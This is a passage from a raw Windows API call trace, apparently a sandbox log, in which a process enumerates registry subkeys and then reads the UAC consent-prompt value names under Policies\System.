servicing", cchWideChar=25, lpMultiByteStr=0xa8c0d8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="component based servicing", lpUsedDefaultChar=0x0) returned 25 [0247.627] RegEnumKeyW (in: hKey=0x34, dwIndex=0x8, lpName=0xa8b930, cchName=0x104 | out: lpName="Control Panel") returned 0x0 [0247.627] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control panel", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0247.627] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control panel", cchWideChar=13, lpMultiByteStr=0xa8c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control panel", lpUsedDefaultChar=0x0) returned 13 [0247.628] RegEnumKeyW (in: hKey=0x34, dwIndex=0x9, lpName=0xa8b930, cchName=0x104 | out: lpName="Controls Folder") returned 0x0 [0247.628] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controls folder", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0247.628] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controls folder", cchWideChar=15, lpMultiByteStr=0xa8c0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controls folder", lpUsedDefaultChar=0x0) returned 15 [0247.628] RegEnumKeyW (in: hKey=0x34, dwIndex=0xa, lpName=0xa8b930, cchName=0x104 | out: lpName="DateTime") returned 0x0 [0247.628] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datetime", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.628] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datetime", cchWideChar=8, lpMultiByteStr=0xa8c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="datetime", lpUsedDefaultChar=0x0) returned 8 [0247.628] RegEnumKeyW (in: hKey=0x34, dwIndex=0xb, lpName=0xa8b930, cchName=0x104 | out: lpName="Device Installer") returned 0x0 [0247.628] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device installer", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0247.628] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device installer", cchWideChar=16, lpMultiByteStr=0xa8c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="device installer", lpUsedDefaultChar=0x0) returned 16 [0247.628] RegEnumKeyW (in: hKey=0x34, dwIndex=0xc, lpName=0xa8b930, cchName=0x104 | out: lpName="Device Metadata") returned 0x0 [0247.628] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device metadata", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0247.628] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device metadata", cchWideChar=15, lpMultiByteStr=0xa8c120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="device metadata", lpUsedDefaultChar=0x0) returned 15 [0247.628] RegEnumKeyW (in: hKey=0x34, dwIndex=0xd, lpName=0xa8b930, cchName=0x104 | out: lpName="Diagnostics") returned 0x0 [0247.628] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagnostics", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0247.628] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagnostics", cchWideChar=11, lpMultiByteStr=0xa8c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="diagnostics", lpUsedDefaultChar=0x0) returned 11 [0247.628] RegEnumKeyW (in: hKey=0x34, dwIndex=0xe, lpName=0xa8b930, cchName=0x104 | out: lpName="DriverSearching") returned 0x0 [0247.628] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driversearching", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0247.629] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driversearching", cchWideChar=15, lpMultiByteStr=0xa8c120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="driversearching", lpUsedDefaultChar=0x0) returned 15 [0247.629] RegEnumKeyW (in: hKey=0x34, dwIndex=0xf, lpName=0xa8b930, cchName=0x104 | out: lpName="EventCollector") returned 0x0 [0247.629] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventcollector", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0247.629] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventcollector", cchWideChar=14, lpMultiByteStr=0xa8c0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventcollector", lpUsedDefaultChar=0x0) returned 14 [0247.629] RegEnumKeyW (in: hKey=0x34, dwIndex=0x10, lpName=0xa8b930, cchName=0x104 | out: lpName="EventForwarding") returned 0x0 [0247.629] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventforwarding", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0247.629] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventforwarding", cchWideChar=15, lpMultiByteStr=0xa8c120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventforwarding", lpUsedDefaultChar=0x0) returned 15 [0247.629] RegEnumKeyW (in: hKey=0x34, dwIndex=0x11, lpName=0xa8b930, cchName=0x104 | out: lpName="Explorer") returned 0x0 [0247.629] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.629] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0xa8c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="explorer", lpUsedDefaultChar=0x0) returned 8 [0247.629] RegEnumKeyW (in: hKey=0x34, dwIndex=0x12, lpName=0xa8b930, cchName=0x104 | out: lpName="Ext") returned 0x0 [0247.629] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ext", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0247.629] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ext", cchWideChar=3, lpMultiByteStr=0xa8c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ext", lpUsedDefaultChar=0x0) returned 3 [0247.629] RegEnumKeyW (in: hKey=0x34, dwIndex=0x13, lpName=0xa8b930, cchName=0x104 | out: lpName="GameUX") returned 0x0 [0247.629] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gameux", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0247.629] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gameux", cchWideChar=6, lpMultiByteStr=0xa8c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gameux", lpUsedDefaultChar=0x0) returned 6 [0247.629] RegEnumKeyW (in: hKey=0x34, dwIndex=0x14, lpName=0xa8b930, cchName=0x104 | out: lpName="Group Policy") returned 0x0 [0247.630] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="group policy", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0247.630] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="group policy", cchWideChar=12, lpMultiByteStr=0xa8c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="group policy", lpUsedDefaultChar=0x0) returned 12 [0247.630] RegEnumKeyW (in: hKey=0x34, dwIndex=0x15, lpName=0xa8b930, cchName=0x104 | out: lpName="Hints") returned 0x0 [0247.630] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hints", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0247.630] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hints", cchWideChar=5, lpMultiByteStr=0xa8c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hints", lpUsedDefaultChar=0x0) returned 5 [0247.630] RegEnumKeyW (in: hKey=0x34, dwIndex=0x16, lpName=0xa8b930, cchName=0x104 | out: lpName="HomeGroup") returned 0x0 [0247.630] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroup", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0247.630] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroup", cchWideChar=9, lpMultiByteStr=0xa8c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="homegroup", lpUsedDefaultChar=0x0) returned 9 [0247.630] RegEnumKeyW (in: hKey=0x34, dwIndex=0x17, lpName=0xa8b930, cchName=0x104 | out: lpName="HotStart") returned 0x0 [0247.630] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hotstart", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.630] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hotstart", cchWideChar=8, lpMultiByteStr=0xa8c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hotstart", lpUsedDefaultChar=0x0) returned 8 [0247.630] RegEnumKeyW (in: hKey=0x34, dwIndex=0x18, lpName=0xa8b930, cchName=0x104 | out: lpName="IME") returned 0x0 [0247.630] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ime", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0247.630] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ime", cchWideChar=3, lpMultiByteStr=0xa8c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ime", lpUsedDefaultChar=0x0) returned 3 [0247.630] RegEnumKeyW (in: hKey=0x34, dwIndex=0x19, lpName=0xa8b930, cchName=0x104 | out: lpName="Installer") returned 0x0 [0247.630] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="installer", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0247.631] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="installer", cchWideChar=9, lpMultiByteStr=0xa8c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="installer", lpUsedDefaultChar=0x0) returned 9 [0247.631] RegEnumKeyW (in: hKey=0x34, dwIndex=0x1a, lpName=0xa8b930, cchName=0x104 | out: lpName="Internet Settings") returned 0x0 [0247.631] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet settings", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0247.631] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet settings", cchWideChar=17, lpMultiByteStr=0xa8c120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet settings", lpUsedDefaultChar=0x0) returned 17 [0247.631] RegEnumKeyW (in: hKey=0x34, dwIndex=0x1b, lpName=0xa8b930, cchName=0x104 | out: lpName="MCT") returned 0x0 [0247.631] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mct", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0247.631] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mct", cchWideChar=3, lpMultiByteStr=0xa8c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mct", lpUsedDefaultChar=0x0) returned 3 [0247.631] RegEnumKeyW (in: hKey=0x34, dwIndex=0x1c, lpName=0xa8b930, cchName=0x104 | out: lpName="Media Center") returned 0x0 [0247.631] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="media center", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0247.631] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="media center", cchWideChar=12, lpMultiByteStr=0xa8c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="media center", lpUsedDefaultChar=0x0) returned 12 [0247.631] RegEnumKeyW (in: hKey=0x34, dwIndex=0x1d, lpName=0xa8b930, cchName=0x104 | out: lpName="MMDevices") returned 0x0 [0247.631] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmdevices", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0247.631] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmdevices", cchWideChar=9, lpMultiByteStr=0xa8c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mmdevices", lpUsedDefaultChar=0x0) returned 9 [0247.631] RegEnumKeyW (in: hKey=0x34, dwIndex=0x1e, lpName=0xa8b930, cchName=0x104 | out: lpName="MSSHA") returned 0x0 [0247.631] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssha", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0247.631] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssha", cchWideChar=5, lpMultiByteStr=0xa8c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mssha", lpUsedDefaultChar=0x0) returned 5 [0247.631] RegEnumKeyW (in: hKey=0x34, dwIndex=0x1f, lpName=0xa8b930, cchName=0x104 | out: lpName="NetCache") returned 0x0 [0247.632] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netcache", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.632] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netcache", cchWideChar=8, lpMultiByteStr=0xa8c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="netcache", lpUsedDefaultChar=0x0) returned 8 [0247.632] RegEnumKeyW (in: hKey=0x34, dwIndex=0x20, lpName=0xa8b930, cchName=0x104 | out: lpName="OEMInformation") returned 0x0 [0247.632] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oeminformation", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0247.632] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oeminformation", cchWideChar=14, lpMultiByteStr=0xa8c120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oeminformation", lpUsedDefaultChar=0x0) returned 14 [0247.632] RegEnumKeyW (in: hKey=0x34, dwIndex=0x21, lpName=0xa8b930, cchName=0x104 | out: lpName="OOBE") returned 0x0 [0247.632] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oobe", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0247.632] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oobe", cchWideChar=4, lpMultiByteStr=0xa8c0d8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oobe", lpUsedDefaultChar=0x0) returned 4 [0247.632] RegEnumKeyW (in: hKey=0x34, dwIndex=0x22, lpName=0xa8b930, cchName=0x104 | out: lpName="OptimalLayout") returned 0x0 [0247.632] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="optimallayout", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0247.632] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="optimallayout", cchWideChar=13, lpMultiByteStr=0xa8c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="optimallayout", lpUsedDefaultChar=0x0) returned 13 [0247.632] RegEnumKeyW (in: hKey=0x34, dwIndex=0x23, lpName=0xa8b930, cchName=0x104 | out: lpName="Parental Controls") returned 0x0 [0247.632] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="parental controls", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0247.632] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="parental controls", cchWideChar=17, lpMultiByteStr=0xa8c0d8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="parental controls", lpUsedDefaultChar=0x0) returned 17 [0247.632] RegEnumKeyW (in: hKey=0x34, dwIndex=0x24, lpName=0xa8b930, cchName=0x104 | out: lpName="Personalization") returned 0x0 [0247.632] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="personalization", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0247.632] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="personalization", cchWideChar=15, lpMultiByteStr=0xa8c120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="personalization", lpUsedDefaultChar=0x0) returned 15 [0247.632] RegEnumKeyW (in: hKey=0x34, dwIndex=0x25, lpName=0xa8b930, cchName=0x104 | out: lpName="PhotoPropertyHandler") returned 0x0 [0247.633] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="photopropertyhandler", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0247.633] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="photopropertyhandler", cchWideChar=20, lpMultiByteStr=0xa8c0d8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="photopropertyhandler", lpUsedDefaultChar=0x0) returned 20 [0247.633] RegEnumKeyW (in: hKey=0x34, dwIndex=0x26, lpName=0xa8b930, cchName=0x104 | out: lpName="PnPSysprep") returned 0x0 [0247.633] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pnpsysprep", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0247.633] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pnpsysprep", cchWideChar=10, lpMultiByteStr=0xa8c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pnpsysprep", lpUsedDefaultChar=0x0) returned 10 [0247.633] RegEnumKeyW (in: hKey=0x34, dwIndex=0x27, lpName=0xa8b930, cchName=0x104 | out: lpName="Policies") returned 0x0 [0247.633] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.633] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0xa8c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0247.633] RegOpenKeyExW (in: hKey=0x34, lpSubKey="Policies", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0x90) returned 0x0 [0247.633] RegCloseKey (hKey=0x34) returned 0x0 [0247.633] RegEnumKeyW (in: hKey=0x90, dwIndex=0x0, lpName=0xa8b930, cchName=0x104 | out: lpName="ActiveDesktop") returned 0x0 [0247.633] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="activedesktop", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0247.633] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="activedesktop", cchWideChar=13, lpMultiByteStr=0xa8c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="activedesktop", lpUsedDefaultChar=0x0) returned 13 [0247.633] RegEnumKeyW (in: hKey=0x90, dwIndex=0x1, lpName=0xa8b930, cchName=0x104 | out: lpName="Attachments") returned 0x0 [0247.633] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="attachments", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0247.634] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="attachments", cchWideChar=11, lpMultiByteStr=0xa8c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="attachments", lpUsedDefaultChar=0x0) returned 11 [0247.634] RegEnumKeyW (in: hKey=0x90, dwIndex=0x2, lpName=0xa8b930, cchName=0x104 | out: lpName="Explorer") returned 0x0 [0247.634] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.634] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0xa8c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="explorer", lpUsedDefaultChar=0x0) returned 8 [0247.634] RegEnumKeyW (in: hKey=0x90, dwIndex=0x3, lpName=0xa8b930, cchName=0x104 | out: lpName="NonEnum") returned 0x0 [0247.634] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="nonenum", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.634] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="nonenum", cchWideChar=7, lpMultiByteStr=0xa8c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nonenum", lpUsedDefaultChar=0x0) returned 7 [0247.634] RegEnumKeyW (in: hKey=0x90, dwIndex=0x4, lpName=0xa8b930, cchName=0x104 | out: lpName="System") returned 0x0 [0247.634] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0247.634] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0xa8c120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0247.634] RegOpenKeyExW (in: hKey=0x90, lpSubKey="System", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0x34) returned 0x0 [0247.634] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8b930) returned 1 [0247.634] RegCloseKey (hKey=0x90) returned 0x0 [0247.634] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0xa8b860) returned 1 [0247.634] RegEnumValueA (in: hKey=0x34, dwIndex=0x0, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.635] RegEnumValueA (in: hKey=0x34, dwIndex=0x1, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0247.635] 